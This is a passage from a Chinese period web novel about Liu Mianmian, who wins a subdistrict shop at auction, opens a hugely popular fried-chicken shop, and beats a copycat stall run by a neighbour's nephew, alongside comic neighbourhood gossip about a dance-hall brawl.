柳绵绵和沈维舟折回舞厅,舞厅里倒是依然热闹,之前的那些围观者,怎么都不会想到,那个女孩离开舞厅后遭遇了什么。 西餐厅的人目标庞大,很快被柳绵绵他们找到,沈维云一看见柳绵绵,就窜了过来,兴奋地说:“嫂子,许经理的前夫跟人跳舞,被人打啦!” 第68章 炸鸡汽水,越吃越美(修)…… 柳绵绵才知道,原来许海棠在舞厅里面遇上了前夫孙敏俊。 许海棠跟她讲过孙家的事情,加上刘婶成天嘀咕的,还有原书一些剧情,柳绵绵对孙敏俊倒是也算熟悉。 这人简直堪称十级妈宝男。 据说是因为,他父亲早早过世,他曾亲眼见过他妈为了养活一家子,怎样毫无自尊地到处求人施舍,又是怎样遭受了胖人的种种白眼,所以从小立志长大后要挣大钱,挣了钱以后都要给他妈花。 实事求是说,孙敏俊挣的钱确实不少,只是他不仅自己挣的钱要给他妈花,还让媳妇儿挣钱也给他妈花,一般人还真是遭不住。再说,那钱其实也不是给他妈花,估计最后还是花在了他兄弟和侄子侄女的身上了。 据说孙敏俊自己是很节俭的,几乎不怎么花钱,既没有什么不良嗜好,也没什么娱乐爱好。 所以他能跑到舞厅来跳舞,还真是挺让人意外的。 然而更让人意外的是,他跑舞厅跳舞,竟然还被人打了。 搞清楚来龙去脉以后,柳绵绵觉得又好笑又无语。 原来和孙敏俊一起跳舞的那位女同志叫贾荭,原先和孙老大处过对象,虽然后来没成,但是孙老大倒是有些念念不忘,而且双方偶尔也还是有些来往。贾荭丈夫去世后,家里有些重活累活也是孙老大在帮衬。 这件事自然就被孙老大的媳妇儿知道了,孙老大媳妇儿跑到贾荭家里一通闹,孙老大和贾荭自然也就断了来往。 结果最近,孙老大媳妇儿又听人说,贾荭和孙家的儿子搞上了,而孙老大又连着几天夜里出门,于是孙老大媳妇儿自然就怀疑俩人旧情复燃了。 也是最近舞厅的宣传做得火热,街头巷尾的都知道有这么个地方,不少人都跑来凑热闹,哪怕不进舞厅,也会凑热闹过来看一眼。然后孙敏俊和贾荭进舞厅时,就被邻居看到了。那人回去路上恰好遇见孙老大媳妇儿,只说了一句“那个贾荭又跟孙……”,孙老大媳妇儿就冲出去了。 为了抓“奸夫**”,孙老大媳妇儿甚至花钱买了舞厅门票,进舞厅之后就瞪着眼睛找人,好容易在人群中看到贾荭,她立马掏出拿布袋子装起来的洗衣锤,冲着俩人就是一通挥舞。 也是舞厅灯光太暗,双方扭打半天,才发现认错了人。 贾荭一开始还以为是许海棠气不过,回来找他们麻烦,倒是没怎么还手,只是一个劲儿躲在孙敏俊身后,后面发现是孙老大媳妇儿,她倒是理直气壮了,趁乱给孙老大媳妇儿挠了个满脸开花。 要不是舞厅的安保人员把人拎去了办公室,俩人非得再大战三百回合不可。 事情也是他们打架的时候你一嘴我一嘴说的,周围的人一听有这种热闹,舞都不跳了,竖着耳朵听热闹。 这大哥处过的对象,结婚后还藕断丝连的对象,忽然跟小弟好上了,这也太刺激了吧! 跳舞哪有看热闹刺激啊! 大家都兴致勃勃,安保人员维持秩序把人带走以后,不少人还唉声叹气,叹息看不到后续了呢。 这么大的热闹,沈维云他们自然也是过来了,所以才能知道得这么清楚。 “刚才有个人说,舞厅里经常有这种热闹的,年前就有人在舞厅里逮住了在外面偷吃的丈夫,把人腿都打折了呢。”沈维云双眼晶亮,感觉今天真是没白白跟出来。 沈维舟看了柳绵绵一眼,柳绵绵顿时有些心虚。 她是想带沈维云来凑凑热闹,见见世面,可不是带她来凑这种热闹,见这种世面的啊! 这些人可真是离谱。 不过因为今晚的这些事,倒是让柳绵绵对开录像厅的想法更慎重了几分,录像厅和舞厅一样,都是容易出乱子的场所,没有人“镇场子”估计是不太行的。 当然,录像厅比舞厅还是要好一点的。 其实柳绵绵心里是觉得,如果能和伍衡这样的人合作,或许更好。只是在这之前,她得先了解一下伍衡的背景和经历。 孙敏俊和贾荭跳舞的事情,很快就传开了,转天刘婶出门卖萝卜条回来,就说外头大家都在议论这件事儿。 其实原先大家都不知道孙老大曾经和服装厂的干事处过对象,如今倒是都知道了,但是这人居然又跟孙老二处上对象了,就十分的离谱。 更离谱的是,事情闹成这样,孙老二和贾荭竟然没有掰,反而准备结婚了! “哦哟,那女人今天一早就来孙家了,说是已经二婚了,所以家里父母是不管的,前面的公婆自然也没办法管,所有的事情她自己就能做主。” 刘婶表示自己一把年纪了,也是头一回见这种事情:“孙家不是住房紧张吗,原先孙老二和小许住的那间屋子,还是老三老四搬到一起给腾出来的,然后这个女人就说她带着孩子过来也住不下,不如让孙老二搬去她那边,家里也能住得松快些。” 除此之外,也不用和老大一家朝夕相处。 这么安排听上去自然是很妥当的,据说孙老太没怎么考虑就答应了。 而且贾荭也没提什么彩礼,还说两人都是二婚,也不用大操大办,直接在国营饭店家里人一起吃一顿就行了,甚至主动表示这顿饭钱她这边出就可以了。 也就是说,孙家什么都不用出,就白得了一个自己带着房子和工作的儿媳妇。 双方没有任何分歧,自然谈的就顺利,当场决定正月初六结婚办酒。 “表面看是孙家得了便宜,实际上可不一定,孙老二可是孙家最能挣钱的,这相当于把家里唯一的金饽饽给挖走了。我瞧着这女人是个有心机的,她勾搭孙老二,其实是想让孙老二给她拉帮套呢。”刘婶作为洞庭湖的老麻雀,对这件事有自己的看法。 柳绵绵其实也同意刘婶的看法,她猜测孙家人也未必就不清楚贾荭的想法,只不过是孙老太对自己这个忠心耿耿的二儿子有信心,哪怕人去了外面,她也相信儿子会向着自己。 都不是省油的灯,未来孙家怕是有的热闹了。 后面柳绵绵也就没怎么关注孙家的事情了,因为她也开始忙起来了。 各单位已经开始上班了,柳绵绵请俞婉帮忙打听了下西餐厅附近那个空铺子的事情,得知那铺子的产权是属于江南街道的,于是抽空去了趟街道办事处。 江南街道办事处离得不远,就在三条街外的光明路,街道办是一栋二层的砖房,楼上是领导办公室,楼下一个大开间,里面是木头高柜隔开的一个个“办事窗口”。 柳绵绵在楼下的大开间里扫了一眼,确定这边没有她要找的人,正准备出门去楼上看看,走到门口就听见旁边有人说话:“孙敏俊,今天是咱们领证的日子,这种日子肯定得准备点喜糖吧,不然人家给咱们颁结婚证说恭喜,咱们就干巴巴说声谢谢吗?赶紧的,你快去买,我就在这里等你。” “我身上没钱,你给我钱,我去买。” “你兜里还放着十块钱呢,你自己都忘记了吧,赶紧去吧,回头我把钱还你还不成吗?你说说你,咱们都要结婚了,你怎么还跟我算这么清楚。咱们认识这么久了,我知道你不是斤斤计较的人,快去快去,不然时间来不及了。” “你上回也说还我,到现在也没……” 后面俩人又说了几句,柳绵绵没再听。 倒是忘了,今天是正月初六,这俩人结婚的日子。 刘婶说的没错,孙家没准真是碰到克星了。 这个女人可不好忽悠,不但不好忽悠,她还反过来忽悠人,并且,和孙家人一样,擅长站在道德制高点绑架人。 租房的事情是街道办综合科管的,柳绵绵上楼找到综合科,办公室里一个科长一个副科长,俩人都是一样的说辞,那间屋子暂时不出租,而且态度非常的坚决,任凭柳绵绵怎么说都不为所动。 柳绵绵只好道谢告辞。 她也不是说非这个铺面不可,既然这个铺面租不下来,柳绵绵就准备在附近另外找一个铺面,实在不行,换个思路,直接把洋快餐店开去工人路去也行。 只是那样一来,她就又得另外找人管理店铺了。 走到楼下,柳绵绵忽然听见后头有人喊她:“柳同志。” 她转过身,见是个一头利落短发的陌生女人,柳绵绵疑惑问:“您是喊我?” 短发女人笑了下,眼角露出几道浅浅的细纹,她说:“你是芷江西餐厅的柳同志吧,你可能不认识我,我是蒋呦呦的母亲,那天多亏了你们,不然我家呦呦真不知道会遇见什么可怕的事情。” 那天在派出所,蒋家人只拿到了沈家的电话,原本他们是准备打电话过去询问地址,然后好上门道谢的,又考虑到还是春节期间,贸然上门怕打扰到对方,就想着按照南城的习俗,等初九以后再联系对方。 也是凑巧,电话号码放在茶几上被他们一位邻居看到,对方在国防工业办工作,一看号码就说这不是我们俞主任家的电话吗? 有了这个线索,蒋经理很快搞清楚了始末,知道那天见义勇为的是国防工业办俞主任的儿子儿媳。 当然,也打听清楚了沈家的背景。 这么一来,夫妻俩倒是犹豫了。 沈家这种背景,做好事不留名,除了低调、施恩不望报,没准还有一层意思,就是不想多惹是非,与人有所牵扯。 假如真是如此,他们上门没准反倒让人不快。 不过,该感谢还是要感谢,夫妻俩就准备初九那天领着女儿去一趟对方家里,不管怎么样,表达一下谢意。 倒是没想到,初九还没到,先在街道办碰见对方了。 柳绵绵自然还记得蒋呦呦,只是没想到对方的母亲居然能认出自己,她笑笑,说:“只是凑巧罢了,那种情况,相信不管是谁看到,都会出手的。” 她和对方寒暄了几句,关心了一下蒋呦呦的情况,听说对方因为及时得救,并没有留下什么太深的心理阴影,也很欣慰。 说着说着,蒋母忽然话锋一转,问:“柳同志是想租那个铺面?” 柳绵绵点点头,又笑道:“我看综合科的同志都挺坚决的,可能街道这边有什么安排不方便吧?倒也没关系,我可以去其他地方再找找的。” 蒋母温和道:“那个铺面位置确实不错,其实街道也不是不准备租,而是准备卖掉铺子,弄点钱来搞个街道办厂了。” 个人能做个体户,乡镇街道自然也可以办集体企业,在未来的一段时间,乡镇企业将遍地开花,稍微有点事业心的领导,都会想法子办厂挣钱。只可惜,这些企业中有很大一部分,都将在九十年代的经济浪潮中折戟沉沙,只有一小部分,会乘风破浪,发展壮大,乃至于成为有名的民族企业。 没想到江南街道也在打这个主意。 不过,既然是要把那个铺面卖掉,怎么综合办的两位科长一声不吭呢? 蒋母解释了一下:“这事街道办还在讨论阶段,具体怎么卖也还不知道,所以他们也不好说什么。” 顿了下,她说:“不过这事今天应该就能确定了,回头我给你打电话,其他忙我帮不上,但是我保证这件事会秉持公开公正的原则来进行。” 大概是怕柳绵绵误会,她特地说了那天公安给了电话号码、电话号码又被邻居看到的事情,算是解释一下自己怎么认出的对方。 柳绵绵也是没想到,原本已经打算放弃的铺面居然又峰回路转有了机会,于是诚挚地道了谢才告辞离开。 快走到门口时,她回头看去,看见蒋母进了左手第二间办公室。 那是街道办副主任的办公室。 既然这个铺面还要等消息,柳绵绵回去后干脆在工人路附近又找了个铺面,打算先在这边开一家店,那边的铺面能拿下来的话,到时候再开一家分店。 她这边刚找房东谈好价格,那边蒋母已经打了电话,通知参与竞买了。 果然没有耽搁多久。 柳绵绵按照街道办的要求准备好资料,在规定时间再次来到江南街道。 这回是在街道的会议室里,综合科的人看到她神色都流露几分诧异。 柳绵绵扫了眼现场,看到来参加竞买的人不多,忽然有些明白了。 街道办这次的竞买估计并不是公开的,只有少数人得到了消息,这也就解释了,为什么综合科的人之前对她三缄其口了。估计参与的都是内部人员的亲戚朋友,竞争者能少一个是一个,提高中标概率。 柳绵绵对这个铺面志在必得,而且她是知道未来地价房价能涨到怎样惊人的程度的,所以她也愿意出稍微多一点的钱,来拿下这个铺面。 价格出得高,自然顺利拿下。 竞买结束时,柳绵绵甚至觉得,其他参与竞买的人,看她的眼神像在看一个人傻钱多的冤大头。 估计他们都觉得她出的价格太高了,不值得。 柳绵绵却很高兴,那个铺面可不小,位置也好,增值空间非常大,她稍微花多一点可不亏。 而且,哪怕不说增值空间,她应该也很快能将花出去的钱挣回来。 之后不久,路过那个铺面的人就发现,铺面门楣上方,不知什么时候挂上了一条横幅:炸鸡汽水,越吃越美。 八个字每个都认识,组合在一起却让人一头雾水。 炸鸡是个什么东西? 炸鸡汽水,为什么会越吃越美? 这家店是要卖炸鸡和汽水吗,听上去不错,就是到底什么时候才能开业? 第69章 炸鸡店开业 舞厅连续一周的宣传效果非常好,西餐厅的知名度得到了很大的提升,正好春节,不少人兜里都有点钱,倒是都愿意三五成群地上西餐厅来试试口味。 春节这段时间许海棠也没闲着,和西餐厅的大师傅一起,对餐厅的菜单进行了优化升级。 餐厅的大师傅是当初陈经理亲自招进来,还特地送去港城培训了一段时间的,他们在港城也认识了一些人,春节趁着给人家拜年的机会,也打听了一些港城现在流行的菜色,自己试着做了出来。柳绵绵尝过以后,给他们提了一些意见,改良过后果然口感不错。 新菜单得到了顾客的一致好评,尤其是两款经过改良的甜品,几乎可以称得上是西餐厅的“网红”产品了,不少人特地赶过来都是为了吃这一口。 拿下巷子口的铺面后,柳绵绵就马上找人印了一打炸鸡店的优惠券放在西餐厅,但凡在西餐厅消费一次,就能获赠一张小吃免费券。 一段时间下来,不少顾客手里都有了这种免费券,尤其一些西餐厅的老顾客,手里更是攒了不少。 这时候洋快餐还没有进入华国,南城自然也没有炸鸡店,大家对这个炸鸡还是挺好奇的。 特别是炸鸡店那个“炸鸡汽水,越吃越美”的广告贴了也挺长时间了,最近更是门边的墙上都贴上了一张整只鸡被炸得金灿灿的广告画,这广告画画得太过逼真,几乎路过的每一个人都要忍不住看两眼,然后自然就是暗暗地咽口水。 附近的小孩儿更夸张,几乎每天都要过来看一眼店开了没。 家长有去过西餐厅的孩子就幸福了,免费券早已放在兜里,就等着炸鸡店开业了。没有免费券的孩子,就得回家哭闹了,大家都是邻居,生活水平也差不多,凭什么别的孩子有免费券,我就没有? 于是没等炸鸡店开业,经济不错的家庭先带孩子去吃了顿西餐。 贵确实是贵,但是点的东西少一点,其实也还好。 而且餐厅里面的服务员态度都非常好,哪怕点很少的东西,人家也不会摆脸色,都是客客气气的。 吃一顿西餐,还能得一张免费券,等于大人小孩都满足了,还是挺划算的。 既有舞厅的宣传,又有炸鸡店免费券的加持,开年以后西餐厅的生意简直节节攀升,节后一个月营业额超过了十万。 要知道柳绵绵接手之前,餐厅最多的时候营业额也才六万左右,就这,在时下的南城,也是非常可观了。 现在这是一下子超出了三分之二了。 原本还有人暗戳戳担心柳绵绵接手以后,餐厅会不会倒闭,他们会不会失业,现在看,餐厅不但不会倒闭,反倒是还越做越好了。 就在西餐厅众人为最近生意火爆欣喜不已时,炸鸡店终于装修完成,开业了。 开业前三天,柳绵绵印制了一批宣传单,雇人去南城最热闹的街道、学校门口去分发。同时也给几家靓靓服装店送去了一些优惠券,开展了一波满赠活动,把阵势搞得足足的。 到了开业这一天,油锅都还没烧热呢,门口已经排起了长队。 正好是周日,不上班不上课的,原本有些熊孩子还得赖床睡懒觉,但是今天却是早早的就起床了,呼朋唤友地捏着免费券跑来排队了。 开业的鞭炮已经打过,蒙在招牌上的红布也被扯下来了,大家终于知道了这家炸鸡店的名字:巷子口炸鸡店。 “哈哈哈,开在巷子口,就叫巷子口炸鸡店哎。” “这个名字好记,挺有意思的。” “老板姐姐,炸鸡什么时候才能吃呀,我都饿啦!” …… 排在前面的小朋友们叽叽喳喳的,一早起来的柳绵绵忍不住打了个哈欠,随后笑眯眯让大家往后退,免得靠太近,不小心被油溅到:“马上就好,炸熟了就能卖哦!” 她是真没想到,这些小不点,早饭都不吃,就跑来排队买“垃圾食品”了。 不过这年月老百姓也不怎么富裕,哪怕双职工家庭也不见得能天天吃上肉,肚子里没那么多油水,自然没人会觉得油炸的东西是垃圾食品,更不会觉得不吃早饭直接吃炸鸡有什么不对。油条不也照样吃? 想到这帮小不点可能都没吃早饭,柳绵绵让负责装餐食的王佳佳先给了他们一块小面包。 炸鸡店这边暂时是两个员工,除了王佳佳,还有个小伙子叫刘波,都是西餐厅那边过来的。 这边的工作环境自然是比不上西餐厅那边,但是这边有提成,而且柳绵绵也说了,回头会在其他地方开分店,他们做得好,都有机会当店长,所以自然也是有人愿意过来的。 除了送出去的免费券,开业前三天还有全场八折的优惠,所以一些没去西餐厅消费的,手里没有免费券的,也是冲着这个优惠想来尝尝鲜。 主要也是油锅烧起来以后真的太香了。 路过都能被香得走不动。 于是渐渐地,门口排队的人越来越多。 而其他不明情况的,看到这边这么多人在排队,好奇之余也会过来看看,这一看就也跟着走不动路了。 很快,最前面那群拽着券的小屁孩领到了自己的免费小吃,每人都是五块鸡块、一戳薯条、两块小面包和一瓶汽水。 这是店里的一个小吃套餐,如果正常买的话,是要一块五毛钱的。 不管是大人还是小孩,都觉得这个免费券可真是太划算了。 至于其他没有免费券的人,则是觉得一块五的东西,今天买只用一块二,那也是相当划算了。至于免费券,那是人家花了大价钱吃西餐换来的,他们倒是也不眼红。 领到套餐的小屁孩们欢呼雀跃地跑回家了,一路上又勾得无数人流口水。 除了小吃套餐,也有财大气粗的人直接点了招牌鸡腿,尤其是招牌鸡腿,那可是完完整整一个大鸡腿呀! 第一个买到大鸡腿的人甚至直接当着大家的面开吃,一口下去,一整块外焦里嫩的鸡腿肉,汁水四溢,满口肉香,那叫一个爽! 这刺激可真是让很多人都受不了,不就是一个鸡腿吗,买! 当然,也有人更喜欢招牌鸡翅,肉更嫩,皮更脆。 渐渐的,买到炸鸡的人越来越多,吃过之后,几乎所有人都觉得这钱真是没白花。 虽然价格比一般的小吃高,但这是实打实的肉啊,而且是真的香。 不少人甚至都有了,为什么自己之前就没有想过,鸡肉可以炸起来吃呢,但几乎也是这个念头刚冒起来,大部分人都知道,自己哪怕是想到炸鸡肉,也不可能做到刚好炸得外焦里嫩,也做不出这个鸡块的味道。 随着第一波炸鸡卖出去,后面排队的人不见少,反倒是越来越多。 大冷天的,刘波和王佳佳忙得满头是汗。 很快,第一桶鸡肉卖光了,刘波开始炸第二个桶里的鸡肉。 当初靓靓服装店开业,柳绵绵可是领教过的,真是收钱都差点收抽筋。所以这一次她还是做好了准备的,早早就让刘婶喊了一群大妈来帮忙,大妈们从昨晚开始就过来帮忙杀鸡腌制鸡肉,现在也是,前头门面在炸鸡,后头院子里大妈们还在不停地杀鸡腌制鸡肉。 说回来,刘婶自从开始卖萝卜条以后,就把周边的老姐妹都带上了勤劳致富的康庄大道。甭管是卖萝卜条,发宣传单,还是做杂活,大妈们都干得劲劲儿的。 大家一门心思挣钱,吵嘴说闲话都少了,就连原先嘴碎又不讨喜的曹大妈,现在都是跟着刘婶挣钱了,说话都好听了不少,有时候碰见柳绵绵,还会绞尽脑汁地夸柳绵绵几句了。 这会儿大妈们在后头杀鸡,倒是也在讨论柳绵绵这炸鸡店的生意。 “哦哟,一张券就送出去好几块鸡肉,还有土豆条,小面包和汽水,这不是生意越好亏得越多吗?” 有人偷偷去前头张望了一眼,被一眼看不到头的排队队伍吓到,同时又觉得心疼,这一只只鸡,可都是她们亲手杀了剁了腌制起来的,虽然钱到不了自己口袋里,可也真是心疼得不行。 刘婶早已弄明白其中的门道了,淡定说:“那只是一小部分,你想想,咱们南城,是舍得去西餐厅吃饭的人多,还是不舍得的人多?大部分还是没券的。再说那券也是人家吃了饭给了钱才送的,也不是白给的。” 羊毛出在羊身上的道理,柳绵绵可是早跟她讲得透透的了。 不过这话就不跟这些老姐妹们说了。 曹大妈伸长脖子看了眼前面,感叹:“这么多人排队,这一天得挣多少钱哦!不过也得亏咱们帮着杀鸡腌鸡,不然哪里来得及。”说着她倒是有些得意起来。 刘婶看了她一眼,说:“干一天活儿就能拿三块钱,这么好的事,你不干有的是人干,杀鸡剁肉,哪个老娘们儿不会?” 曹大妈马上鹌鹑似的缩了缩,不吭声了。 一天三块钱,三十天就是九十块钱,要是能干满一个月,这都赶得上她儿子的工资了。 她怎么会不想干,她巴不得天天干。 这话其他几个大妈自然也听进去了。确实是,杀鸡剁肉这种活儿,哪个老娘们儿不会的?照理这么干一天,人家能给个两块钱,就算是非常客气了,柳绵绵却是直接给到了三块钱。这活儿,真是有人抢着愿意干的。 其他人于是赶紧表态:“那是,要不是老刘你想着我们,这种好事哪里轮得上我们。” “哦哟,我是巴不得天天干,你们不知道,自从我自己能挣几个钱了,我在家里说话都大声了,往常我家那口子老说我一分钱没往家里拿过,现在他可说不出这话了,我有时候回家,他还给我倒水喝呢。” 他们这一辈的,自家男人能主动端个茶倒个水,那都是了不得的改变了。 也有心思活的,悄悄凑到刘婶身边:“老刘,这家店生意这么好,应该天天需要人帮着杀鸡腌**,咱们关系这么好,回头你可得帮我推荐推荐。” 刘婶怎么也没想到,自己一把年纪了,竟然也有被老姐妹走后门要工作的一天。 不过,这种事她自然是不会答应的,哪怕要找人长期杀鸡,那也是柳绵绵决定的事情,她可做不了决定。 再说了,柳绵绵也跟刘婶说过,下半年国内应该就会有专门做冷冻肉生意的企业了,到时候他们炸鸡店就用不着现杀活鸡了,直接弄个冰柜储存冷冻鸡肉卖就行了,所以店里是不需要人长期杀鸡的。 但是在那之前,还是需要大妈们帮忙的。 刘婶心里琢磨着,杀鸡这活儿估计还能做个半年,但是平时生意没有开业这么多,有个一两个人帮忙就行了,到时候就每人一个月分摊好了,省得这群老娘们儿吵闹起来。 不就是想挣钱嘛,也不用就盯着炸鸡店,还有其他路子的。 前两天小许还说那个什么舞厅想找两个打扫的人呢,这不也挺好的? 刘婶心里嘀咕着,手上动作一点没影响,三两下就给一只鸡安排得明明白白了。 一整天,炸鸡店门口排队的人就没有减少过,上午人就很多,到了下午,人数不减反增。 前后厨齐心协力,忙到了晚上快八点,中间大家只有午饭、晚饭的时候轮流休息了一会儿。 也幸亏备货充足,最后基本上是所有的东西都卖得精光。 柳绵绵给几位大妈的工钱直接加了一倍,每个人给了六块钱。 大妈们也是生平头一回杀那么多的鸡,也是累得够呛,但是拿到六块钱的时候,又觉得那点疲惫都不重要了。 干这点活,竟然就得了六块钱,这也太好赚了,家里那口子干一天活都挣不来这么多钱! 大妈们立马就干劲满满。 同样干劲满满的还有刘波和王佳佳,他们可是有提成的,店里生意越好他们的提成自然就越多,俩人早已偷偷交流过,照炸鸡店这个生意,他们在炸鸡店拿到的工钱,绝对比西餐厅还要多! 后面两天生意比第一天还要好。 柳绵绵干脆让刘婶再多叫几个人帮忙杀鸡,另外又从西餐厅抽了一个人过来帮忙装餐食和收钱,王佳佳则是和刘波一起炸鸡块。 所幸西餐厅这边有成熟的原材料供货渠道,鸡倒是能一直供应上。 最后一天柳绵绵给大妈们发了八块钱,干满三天的大妈等于直接拿到了二十块钱的劳务。这可给她们高兴坏了。 柳绵绵也给刘波和王佳佳包了个红包,算是额外的奖励,俩人也是喜出望外。 其实柳绵绵自己也是喜出望外,她是觉得开炸鸡能挣钱,但是没想到这么能挣钱。 这几天每天的营业额都超过了两千,虽然总数比不上西餐厅,但是刨除房租人工水电等等一切成本,其实炸鸡店的净利润要比西餐厅高。 柳绵绵又观察了大半个月,眼看炸鸡店的营业额渐渐趋于平稳,但每天也能有个千把块之后,她就决定开分店了! 店铺她一直在寻摸的,工人路附近可以开一家,然后第一百货附近也可以开一家,暂时先开两家分店。 于是柳绵绵又开始投入找店面、装修、筹备开业的过程中。 而就在她筹备开分店的时候,帽儿胡同路口,出现了一个卖炸鸡的小摊子,东西品种跟巷子口炸鸡店差不多,但是价格却少了快一半。 第70章 “李鬼”赔了 做炸鸡店容易被人跟风,这一点柳绵绵从一开始就猜到了,毕竟这东西看着好像还挺简单的,就是把肉腌制了裹点面粉炸一下嘛。 但实际上,后世两家知名洋快餐能几十年屹立不倒,自然是有点核心技术的,比如腌制的调料,油温的控制。同样的食材经过不同人的加工,味道可是天差地别的。 柳绵绵手里自然没有掌握后世那两家洋快餐的核心技术,但其实也大差不差了,是后世一位美食博主,经过一整年坚持不懈的试验,才验证出来的配方,当初博主公布配方的时候,还上了热搜。 至于油温控制,这个反倒比调料配方要简单,后世毕竟那么多小吃摊,经过无数人试验过后,这个在网上也不算什么秘密了。 再说,钱是赚不完的。 偌大一个南城,别说一两家炸鸡店了,怕是开个十家八家也是没问题的,柳绵绵不急于扩张,也是想着既然做了,就尽量做好,把“巷子口”打造成一个好的小吃品牌。 当然,还有一个原因就是,自己做太累了,不符合她咸鱼享受人生的规划,所以她是准备回头寻摸个合适的合作伙伴,把这一块的业务交给对方做。 说回来,柳绵绵虽然预料到会有人跟风,但确实也没有预料到跟风的人会这么快出现。而且那摊子打的招牌还是“胡同口炸鸡摊”,山寨得明明白白。 本身炸鸡店开业就不久,“巷子口”这个牌子还没到深入人心的时候,现在突然又冒出个胡同口,很容易让顾客混淆。 最最重要的是,如果对方食物品质好味道好也就罢了,可柳绵绵让人去买过一份,口味真是非常一般,咸不说肉还很柴,这要人家把他们混为一谈,这真是要影响“巷子口”的口碑了。 “口味差是一方面,他们的食材好像也不怎么好。”许海棠自己是搞采购出身的,对这方面自然尤其关注,对方用来炸东西的油就不怎么样,面粉好像也是不好的面粉,肉似乎也一般般,可能是有时候一天没卖完,第二天第三天就接着卖。 柳绵绵靠在躺椅上,想了想,说:“哪怕便宜,他们这摊子也做不下去的,竞争真谈不上,就是容易给咱们抹黑。我们这边还是尽量从树立品牌的角度,打响自己的品牌。找报社、电台做广告吧,广告词简单一点,就类似炸鸡就吃巷子口,巷子口炸鸡,唯一正宗西式炸鸡之类的,重复至少三遍,你们回头仔细想想,尽快搞起来。” 虽说这种重复轰炸式广告挺招人烦的,但是不可否认,这是最简单的打出知名度的方式。 这一点,柳绵绵可是深有体会,上辈子某些产品她虽然从来没有买过,但是因为对方无孔不入、重复到让人厌烦的广告,她印象深刻到,再穿越一辈子估计都忘不了。 许海棠眼睛一亮,主动说:“那我到时候和伍衡也再商量一下,咱们可以再去他的舞厅宣传一下,上次西餐厅的宣传效果很不错,他后来还特地找人跟咱们学了那个舞蹈,天天在舞厅里表演呢。” 再好看的舞蹈表演久了自然也不行,伍衡是个脑子灵活的,很快就找了人又排了几个舞,虽然演出效果都不如西餐厅那个舞蹈,但是也给舞厅增加了不少客流量。 反正每天晚上都有舞蹈,再编个跟炸鸡有关的舞蹈去表演一下也挺好的,柳绵绵同意了许海棠的提议。 不过她其实还有点奇怪,许海棠称呼伍衡居然都不是伍老板,而是直呼其名了,这俩人的关系什么时候这么好了? 当然,这是许海棠的私事,柳绵绵虽然好奇,却不会问的。 俩人商量了一下,许海棠很快就走了,她也不耽误,马上去了报社和电台。 这时候大家做广告的意识其实也不是很强,不过南城晚报的主编是个脑子活络的,前几年就开始在报纸上开辟广告版面,后面电台也跟着开始搞广告时段,所以想做广告还是简单的。 之前开服装店,柳绵绵是没想过做广告的,毕竟服装又不是他们自己生产的,也没什么品牌效应,没必要。 而芷江西餐厅作为南城老牌西餐厅,本身就有一定知名度,自然也没必要上报纸广播宣传。 倒是炸鸡店,柳绵绵是想要做品牌的,所以倒是很适合用广告的方式迅速打出知名度。 本来要不是有个“李鬼”,柳绵绵其实更倾向于开几家分店,慢慢把品牌做出来,现在倒是转变了想法,干脆直接推开,分店的数量也可以增加。 柳绵绵正思考呢,就见刘婶怒气冲冲地进了院子。 “怎么了?”柳绵绵奇怪问,刘婶可是个好脾气的人,很少见她这副样子。 刘婶气得头发都快竖起来了:“我知道那个该死的胡同口是谁了!” 柳绵绵稍稍坐直了:“哦?” 要说好奇,其实她也有点好奇,她好奇究竟是谁脸皮这么厚,东西做得这么难吃。 看刘婶这样子,应该是她们认识的人,再联想那个摊子是摆在帽儿胡同路口,柳绵绵忍不住脑洞大开:“总不会是孙家人吧?” 可转念一想,又觉得不对,孙家人要么上班要么带娃要么喝酒胡混,没有能抽空干这个的呀。再说,那摊子上的人不少人都见过,大家都不认识呀。要真认识,那早都传开了。 刘婶搬了把凳子坐下,这才说:“哦哟,真是气也被气死了,那个小伙子是老曹的侄子,跟他一起干的是他对象。老曹这个不要脸的,她在咱们这儿帮忙,学了腌鸡肉裹面粉,肯定就是她教的她侄子。” 其实本来你偷偷学了,另外找个地方偷偷干这个营生,也没人会说什么。 可恶心就恶心在,他们不但偷学了炸鸡店的手艺,摊子还要摆在炸鸡店附近来,名字还要起得似是而非,就连看铺子的人,都要学着炸鸡店,弄了一男一女两个小年轻,这不是纯纯就是故意来假冒蹭名气的吗? 刘婶气得呼哧带喘的,柳绵绵发过来安慰她:“咱们找人帮忙,就得承担这个风险,不过他们学的也就是皮毛,画虎不成反类犬,就他们的水平,那摊子应该不用多久就摆不下去了。” 摆摊子也是要成本的,推拉的三轮车,定制的炉子,这些都是钱,回头那摊子真要做不下去,曹大妈的侄子怕是还得怨她出这么个馊主意。 要不是影响到炸鸡店的名声,这种程度的竞争对手,柳绵绵原本都懒得理会。 不过,之前还说曹大妈有所改变,现在看来是狗改不了吃屎,她这么做,估计一帮老姐妹是不会再待见她了的,至少刘婶是恨不得撕了对方的。 许海棠那边动作非常快,第二天广播和报纸上的广告都出来了,然后不出三天,柳绵绵就听见巷子里的熊孩子都在学嘴那些广告词了。 “巷子口炸鸡店,正宗炸鸡,炸鸡正宗,只有巷子口。” “吃鸡只吃巷子口,吃鸡只吃巷子口,吃鸡只吃巷子口……” 也有贪便宜在胡同口买过炸鸡店熊孩子干脆把广告词给改了:“吃鸡只吃巷子口,巷子尾不行,胡同口更不行,胡同口炸鸡难吃难吃真难吃。” 于是,“胡同口炸鸡难吃难吃真难吃”很快就成了附近熊孩子挂在嘴上的顺口溜了。 可把曹大妈给气坏了。 又过了两天,刘婶再提起这件事的时候,已经眉开眼笑了。 “你是没看见,老曹那张老脸都被她侄媳妇儿给挠花了,埋怨她给的配方差,还说炸鸡难吃的顺口溜是老曹编的,说她没安好心。” 其实是熊孩子们在巷子里嚷嚷的时候,被曹大妈听见了,曹大妈拎着把破扫帚追着熊孩子们跑了两条街。后面那些熊孩子就故意跑到帽儿胡同那边,对着炸鸡摊喊难吃,被摆摊的小青年呵斥的时候,还故意说这是曹大妈说的。 所以说,熊孩子的破坏力有时候真是防不胜防。 曹大妈那侄子本来也不是什么安分勤劳的人,被家里宠坏了,干什么都拈轻怕重的,是曹大妈说柳绵绵那家炸鸡店一天就能挣几百,才刺激得他想要跟风暴富的。 结果真干了,头几天倒是还好,确实挣了一两百,后面就每况愈下,最近每天甚至只能挣个二三十块了。 其实每天挣个二三十块,在这年头来说也是非常不错了。可挣过每天一两百的人,目标是每天挣好几百的人,哪里看得上这二三十块? 所以心里不但不感激曹大妈,反倒是开始埋怨曹大妈了,觉得她说话不靠谱,介绍的生意既赚不到多少钱,还每天累死累活。 现在又听说曹大妈在背后讽刺他们的炸鸡难吃,本来脾气就不算好的俩人,可不就更火大了? 